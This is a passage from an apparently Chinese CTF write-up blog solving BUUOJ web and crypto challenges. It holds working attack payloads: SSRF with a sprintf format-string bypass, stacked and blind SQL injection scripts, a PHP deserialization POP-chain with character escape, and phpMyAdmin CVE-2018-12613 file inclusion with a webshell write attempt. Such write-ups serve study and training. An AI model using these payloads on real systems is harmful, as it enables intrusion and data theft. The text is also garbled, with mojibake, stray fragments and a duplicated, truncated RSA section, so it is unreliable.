if(isset($_GET['file'])){
    if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
        die("forbidden");
    }

    if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
        die("not now!");
    }

    if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
        die("You! are! not! my! admin!");
    }

    if(preg_match("/^home$/i", $_GET['file'])){
        die("禁止套娃");
    }

    else{
        if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
            $file = $_GET['file'].".php";
        }
        else{
            $file = $_GET['file'].".fxxkyou!";
        }
        echo "现在访问的是 ".$file . "
"
; require $file; } } else { echo ""; }

system.php


error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '       Error:  url invalid
~$ '
; $str3 = '       Error:  damn hacker!
~$ '
; $str4 = '       Error:  request method error
~$ '
; ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>File Detector</title> <link rel="stylesheet" type="text/css" href="css/normalize.css" /> <link rel="stylesheet" type="text/css" href="css/demo.css" /> <link rel="stylesheet" type="text/css" href="css/component.css" /> <script src="js/modernizr.custom.js"></script> </head> <body> <section> <form id="theForm" class="simform" autocomplete="off" action="system.php" method="post"> <div class="simform-inner"> <span><p><center>File Detector</center></p></span> <ol class="questions"> <li> <span><label for="q1">ä½ çŸ¥é“ç›®å½•ä¸‹éƒ½æœ‰ä»€ä¹ˆæ–‡ä»¶å—?</label></span> <input id="q1" name="q1" type="text"/> </li> <li> <span><label for="q2">è¯·è¾“å ¥ä½ æƒ³æ£€æµ‹æ–‡ä»¶å† å®¹é•¿åº¦çš„url</label></span> <input id="q2" name="q2" type="text"/> </li> <li> <span><label for="q1">ä½ å¸Œæœ›ä»¥ä½•ç§æ–¹å¼è®¿é—®ï¼ŸGET?POST?</label></span> <input id="q3" name="q3" type="text"/> </li> </ol> <button class="submit" type="submit" value="submit">提交</button> <div class="controls"> <button class="next"></button> <div class="progress"></div> <span class="number"> <span class="number-current"></span> <span class="number-total"></span> </span> <span class="error-message"></span> </div> </div> <span class="final-message"></span> </form> <span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore

/^http:\/\/127\.0\.0\.1\//i'; $filter2 = '/.?f.?l.?a.?g.?/i'; if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) { $url = $_POST['q2'].".y1ng.txt"; $method = $_POST['q3']; $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei
"
; echo $str1; if (!preg_match($filter1, $url) ){ die($str2); } if (preg_match($filter2, $url)) { die($str3); } if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) { die($str4); } $detect = @file_get_contents($url, false); print(sprintf("$url method&content_size:$method%d", $detect)); } ?>

不能直接读取含有flag文件名的文件,.q2的值必须以http://127.0.0.1/开头,只能通过SSRF读取文件,q2后会拼接“.y1ng.txt”字符串

通过home.php猜测有admin.php,可以在URL后加 “?a=(GET赋值给一个参数)” 或 “#(锚点)” 来让其失效。

http://127.0.0.1/flag.php=http://127.0.0.1/flag.php#任意字符

$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));

考格式化输出,看师傅的wp,学到两点 from

\1. %1 s — — 这 种 办 法 原 理 是 s —— 这种办法原理是%1 ss会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:

print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s会以字符串格式输出$detect,而%d会输出0

\2. %s% —— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:

print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被转义,因此失

构造出Payload,POST发送给system.php即可获得admin.php的源码:

q1=1&q2=http://127.0.0.1/admin.php#&q3=GET%1$s 

error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "403 Forbidden

only 127.0.0.1 can access! You know what I mean right?
your ip address is " . $_SERVER['REMOTE_ADDR']; } $_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']); if (isset($_GET['decrypt'])) { $decr = $_GET['decrypt']; if (Check()){ $data = $_SESSION['secret']; include 'flag_2sln2ndln2klnlksnf.php'; $cipher = aesEn($data, 'y1ng'); if ($decr === $cipher){ echo WHAT_YOU_WANT; } else { die('爬'); } } else{ header("Refresh:0.1;url=index.php"); } } else { //I heard you can break PHP mt_rand seed mt_srand(rand(0,9999999)); $length = mt_rand(40,80); $_SESSION['secret'] = bin2hex(random_bytes($length)); } ?> 0

else部分是不能爆破随机数的,所以就不能制造和$cipher一样的密文了,看wp后发现一个小trick

session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL。

from

计算出密钥


function aesEn($data, $key){
    $method = 'AES-128-CBC';
    $iv = md5('174.0.0.15',true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng');?>

删除cookie

Buuoj刷题记录_第50张图片

Buuoj刷题记录_第51张图片

Windows[BJDCTF 2nd]EasyAspDotNet

[GYCTF2020]Blacklist

有个查询窗口,猜测注入,加'报错

http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1’ or 2>1 --+

Buuoj刷题记录_第52张图片

http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1’ or 2=1 --+

Buuoj刷题记录_第53张图片

order by 查询出2列,union select后返回限制

Buuoj刷题记录_第54张图片

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

这题和强网杯随便注相似,但过滤了改名函数。

堆叠注入

http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=1';show tables --+

Buuoj刷题记录_第55张图片

过滤了select,可用handler语句代替select

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

Buuoj刷题记录_第56张图片

from

payload

http://c52d8600-ad4b-4d74-97a9-fe15bff2ab1f.node3.buuoj.cn/?inject=-1';handler FlagHere open; handler FlagHere read first; --+

[GYCTF2020]Ezsqli

过滤了or,含information的也用不了,替代information_schema

sys.x$schema_flattened_keys
sys.x$schema_table_statistics_with_buffer

注出表名

import requests
from time import sleep
url = 'http://dceb9acc-239b-47ee-871c-991df29eff3c.node3.buuoj.cn/'
flag = ''
s = requests.Session()
def exp(i, j):
    payload = f"2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{i},1))>{j}"
    data = {
        "id": payload
    }
    r = s.post(url, data=data)
    sleep(0.1)#太快请求容易数据异常
    if "Nu1L" in r.text:
        return True
    else:
        return False

for i in range(1, 100):
    low = 32 
    high = 127
    while (low <high):
        mid = (low + high)//2
        if (exp(i, mid)):
            low = mid+1#payload中为>,mid肯定不满足条件
        else:
            high = mid
    flag += chr(low)
    print(flag)

后面是无列名注入,不好用二分,网上找的脚本

import requests

url='http://dceb9acc-239b-47ee-871c-991df29eff3c.node3.buuoj.cn/'
payload='1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'
flag=''
for j in range(200):
    for i in range(32,128):
        hexchar=flag+chr(i)
        py=payload.format(hexchar)
        datas={'id':py}
        re=requests.post(url=url,data=datas)
        if 'Nu1L' in re.text:
            flag+=chr(i-1)
            print(flag)
            break
(select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh)

{}括号中的字符与查询出的字符比ASCII大小,先比第一个,如果第一个相等则比第二个,最终是大于的字符,所以i-1则为目标字符。

[GYCTF2020]Easyphp

直接可以下载www.zip,构造pop链反序列化

参考学长的wp

和另一位师傅的wp

pop链:UpdateHepler::__destruct()->User::__toString->Info::__Call()->dbCtrl::login()



class User
{
    public $id;
    public $age=null;
    public $nickname=null;
 
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;

}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;

}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;

}


$sql = 'select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';//$this->name=$_POST['username'];

$start = new UpdateHelper();
$start->sql = new User();
$start->sql->nickname = new Info();
$start->sql->nickname->CtrlCase = new dbCtrl();
$start->sql->age = $sql;
$start->sql->nickname->CtrlCase->name = 'admin';
$start->sql->nickname->CtrlCase->password = '1';//字符串1 不是数字1
$s = serialize($start);
echo $s;
echo "									";
$a = new Info();
$a->nickname = $s;
echo serialize($a);

结果

O:12:“UpdateHelper”:3:{s:2:“id”;N;s:7:“newinfo”;N;s:3:“sql”;O:4:“User”:3:{s:2:“id”;N;s:3:“age”;s:71:“select id,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:“nickname”;O:4:“Info”:3:{s:3:“age”;N;s:8:“nickname”;N;s:8:“CtrlCase”;O:6:“dbCtrl”:8:{s:8:“hostname”;s:9:“127.0.0.1”;s:6:“dbuser”;s:4:“root”;s:6:“dbpass”;s:4:“root”;s:8:“database”;s:4:“test”;s:4:“name”;s:5:“admin”;s:8:“password”;s:1:“1”;s:6:“mysqli”;N;s:5:“token”;N;}}}} O:4:“Info”:3:{s:3:“age”;N;s:8:“nickname”;s:447:“O:12:“UpdateHelper”:3:{s:2:“id”;N;s:7:“newinfo”;N;s:3:“sql”;O:4:“User”:3:{s:2:“id”;N;s:3:“age”;s:71:“select id,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?”;s:8:“nickname”;O:4:“Info”:3:{s:3:“age”;N;s:8:“nickname”;N;s:8:“CtrlCase”;O:6:“dbCtrl”:8:{s:8:“hostname”;s:9:“127.0.0.1”;s:6:“dbuser”;s:4:“root”;s:6:“dbpass”;s:4:“root”;s:8:“database”;s:4:“test”;s:4:“name”;s:5:“admin”;s:8:“password”;s:1:“1”;s:6:“mysqli”;N;s:5:“token”;N;}}}}”;s:8:“CtrlCase”;N;}

可利用的反序列化点

    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

会将payload作为参数进行序列化,需要进行字符逃逸

将第一个payload进行修改以及闭合

";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}};}

也就是在最前面加了个引号,闭合前面序列化生成的引号,然后将我们的payload序列化为CtrlCase的值,这样反序列化时就能成功反序列化我们的payload,这个修改后的payload长度为466,所以我们在这个payload前面加466个union,原本序列化字符时,总长度为466*2*5=4660,也就是{s:3:“age”;N;s:8:“nickname”;s:4660:,经过safe()后,union被替换为hacker,总长度就是为4660,再加上我们用"进行了闭合,所以nickname的值就为466个hacker,我们的payload就成功逃逸。

最终payload

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}};}

执行后,session中成功写入admin,使用任意密码登录(验证session后直接登录,不会校验输入的密码)即可获得flag

real

[PHPMYADMIN]CVE-2018-12613

1

2

先执行sql语句

select ‘

然后查看cookie,进行session包含,查看绝对路径

index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/…/…/…/tmp/sess_+之前记录的
cookie

Buuoj刷题记录_第57张图片

然后写shell

select ‘’ into outfile ‘/var/www/html/1.php’

发现写不了

原来flag就在PHP info中

Buuoj刷题记录_第58张图片

crypto

[BJDCTF 2nd]cat_flag

Buuoj刷题记录_第59张图片
01000010
01001010
01000100
01111011
01001101
00100001
01100001
00110000
01111110
01111101

import binascii
print(binascii.a2b_hex(hex(int('01000010010010100100010001111011010011010010000101100001001100000111111001111101',2))[2:]))

RSA

RSA加密流程

选取两个较大的互不相等的质数p和q,计算n = p * q 。
计算phi = (p-1) * (q-1) 。
选取任意e,使得e满足 1
import gmpy2
p=473398607161
q=4511491
e=17
phi=(p-1)*(q-1)
d=gmpy2.invert(17,phi)
print(d)

rsarsa

Math is cool! Use the RSA algorithm to decode the secret message, c, p, q, and e are parameters for the RSA algorithm.
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e = 65537
c = 83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

Use RSA to find the secret message

import gmpy2
p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q =  11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e =  65537
c =  83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi=(q-1)*(p-1)
n=p*q
d=gmpy2.invert(e,phi)
print(pow(c,d,n))

RSA1

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

6892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034

Use RSA to find the secret message

import gmpy2
p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q =  11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
e =  65537
c =  83208298995174604174773590298203639360540024871256126892889661345742403314929861939100492666605647316646576486526217457006376842280869728581726746401583705899941768214138742259689334840735633553053887641847651173776251820293087212885670180367406807406765923638973161375817392737747832762751690104423869019034
phi=(q-1)*(p-1)
n=p*q
d=gmpy2.invert(e,phi)
print(pow(c,d,n))

RSA1

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

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